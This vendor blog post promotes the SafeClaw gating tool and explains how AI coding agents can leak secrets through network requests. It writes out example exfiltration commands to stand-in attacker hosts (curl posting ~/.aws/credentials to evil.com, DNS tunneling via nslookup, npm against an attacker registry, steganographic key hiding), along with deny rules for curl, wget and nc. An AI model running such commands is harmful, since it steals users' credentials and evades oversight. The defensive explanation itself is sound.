2025-12-29 · Authensor

AI Agent Network Request Risks: How Outbound Connections Leak Your Data

Every AI coding agent makes network requests. That's a fact of how they operate. They fetch packages from npm. They call the OpenAI or Anthropic API. They download type definitions, check documentation, and hit your local dev server.

The problem is that the same mechanism that fetches a package from registry.npmjs.org can send your .env file to attacker-controlled-server.com. From the operating system's perspective, both are outbound HTTPS requests on port 443. There's no difference.

Clawdbot proved this at scale. Over 1.5 million API keys exfiltrated. Many of them through network requests that looked routine.

What "Normal" Agent Network Traffic Looks Like

A typical AI coding agent session generates network requests to:

This traffic is expected and necessary. The agent can't function without it.

What Exfiltration Looks Like

Now compare it to exfiltration:

# Looks like an API call
POST https://api.legitimate-sounding-service.com/v1/telemetry
Body: { "data": "AWS_SECRET_ACCESS_KEY=wJalrXUtn..." }

Looks like a package install check

GET https://registry.npmjs.org/@scope/package?token=sk-live-abc123

Looks like a webhook

POST https://hooks.slack.com/services/T00/B00/xxxx Body: { "text": "contents of ~/.ssh/id_rsa" }

DNS exfiltration - no HTTP involved

nslookup AKIA1234567890EXAMPLE.data.attacker.com

Exfiltration traffic is designed to blend in. A POST request to an API endpoint is a POST request to an API endpoint, whether it's sending a legitimate payload or your AWS credentials.

The Five Exfiltration Channels

1. Direct HTTP Exfiltration

The simplest approach. The agent makes an HTTP request to an attacker-controlled server with your data in the request body, headers, or query parameters.

POST https://collect.evil.com/
Content-Type: application/json

{
"env": "DATABASE_URL=postgres://admin:password@prod:5432/db",
"ssh_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIE...",
"aws": "AKIA..."
}

This is trivial to execute. Any agent with network access and file read access can do it in two operations: read the file, send the request.

2. Data in LLM API Context

Every request to the LLM API includes a context window. If the agent read your .env file, that content is in the context. It gets sent to api.openai.com or api.anthropic.com as part of normal operation.

This isn't "exfiltration" in the traditional sense -- it's the agent doing its job. But the result is the same: your credentials are now on a third-party server, subject to that provider's data retention policies, logging practices, and security posture.

You trust OpenAI and Anthropic. But do you trust every employee, every subcontractor, every system that processes API requests? The security boundary extends to the weakest link in their infrastructure.

3. Package Registry Manipulation

npm publish --registry https://attacker-registry.com

An agent with shell access can publish a package to any registry. That package could contain your source code, credentials, or any other data the agent has accessed. The "publish" looks like a normal npm operation.

More subtly, an agent can install a package from a malicious registry:

npm install something --registry https://attacker-registry.com

The package's postinstall script runs arbitrary code on your machine. This is a supply chain attack executed through the agent.

4. DNS Tunneling

DNS queries bypass most HTTP-level monitoring. An agent can exfiltrate data by encoding it in DNS queries:

nslookup AKIA1234567890.c2.attacker.com
nslookup wJalrXUtnFEMI.c2.attacker.com
nslookup K7MDEnG-xPxRfi.c2.attacker.com

Each query carries a fragment of data in the subdomain. The attacker's DNS server reassembles the fragments. No HTTP request is made. No firewall rule for outbound HTTPS catches it.

5. Steganographic Embedding

The agent writes data into a file that's later transmitted through normal channels:

// Agent writes a test file
const testImage = generateTestPNG({
  // Credentials encoded in least-significant bits of pixel data
  stegoPayload: process.env.AWS_SECRET_ACCESS_KEY
});
fs.writeFileSync('test-fixtures/sample.png', testImage);

When the file is committed and pushed to GitHub, the data goes with it. No abnormal network request. No detectable exfiltration. The data leaves through your normal CI/CD pipeline.

Why Firewalls and VPNs Don't Help

Traditional network security controls operate at the wrong level for this problem.

Firewalls block ports and IP ranges. AI agents use port 443 (HTTPS) for everything. You can't block port 443 without breaking the agent entirely.

VPNs encrypt traffic between you and a gateway. They don't inspect the content of HTTPS requests. An exfiltration request through a VPN is just encrypted twice.

Network monitoring (IDS/IPS) can flag anomalous traffic patterns, but agent traffic is inherently anomalous -- it makes requests to various APIs and services as part of normal operation. Distinguishing "agent installing a package" from "agent exfiltrating data" requires understanding the content and intent of each request.

Egress filtering by domain can help, but maintaining an allowlist at the firewall level for every service an AI agent might legitimately need is impractical and brittle.

Application-Level Network Gating

The solution is gating network requests at the application level, where you have context about what the agent is doing and why.

SafeClaw evaluates every network action before it executes:

{
  action: "network",
  defaultEffect: "deny",
  rules: [
    // Allow LLM API calls
    { destination: "api.openai.com", effect: "allow" },
    { destination: "api.anthropic.com", effect: "allow" },

// Allow package registries
{ destination: "registry.npmjs.org", effect: "allow" },

// Allow Git operations
{ destination: "github.com", effect: "allow" },

// Allow local dev servers
{ destination: "localhost:*", effect: "allow" },
{ destination: "127.0.0.1:*", effect: "allow" },

// Everything else: denied
]
}

Deny-by-default means the agent can only reach destinations you've explicitly approved. If the agent tries to make a request to collect.evil.com, it's blocked before the TCP connection is established.

This is fundamentally different from monitoring. Monitoring tells you about the request after it completes. Gating prevents the request from happening.

Combining Network and Shell Gating

Network exfiltration often starts with a shell command:

curl -X POST https://evil.com -d @~/.aws/credentials

SafeClaw gates both network and shell_exec actions. Even if a network destination is allowed, the shell command that initiates the request must also pass the shell_exec policy. Double gating provides defense in depth.

// shell_exec policy
{ command: "curl *", effect: "deny" }
{ command: "wget *", effect: "deny" }
{ command: "nc *", effect: "deny" }

// network policy (for programmatic requests)
{ destination: "*.evil.com", effect: "deny" }

The agent can use npm install (allowed shell command, hits allowed registry). It cannot use curl to hit an unknown endpoint (denied shell command and denied destination).

The Audit Trail

Every network request -- allowed or denied -- is recorded in SafeClaw's tamper-proof audit trail using SHA-256 hash chains. You get a complete record of:

This audit trail is immutable. Even if the agent compromises your system, it cannot modify the record of what it did.

Getting Started

npx @authensor/safeclaw

Browser dashboard with setup wizard. Define your network policy, start in simulation mode to see what traffic your agent generates, then switch to enforcement.

Sub-millisecond policy evaluation. Zero third-party dependencies. 446 automated tests. Works with Claude and OpenAI, integrates with LangChain. Free tier, renewable 7-day keys, no credit card.

The client is 100% open source. The control plane only sees metadata.

Your agent needs network access. It doesn't need unrestricted network access. Gate it. Visit safeclaw.onrender.com.

Try SafeClaw

Action-level gating for AI agents. Set it up in your browser in 60 seconds.

$ npx @authensor/safeclaw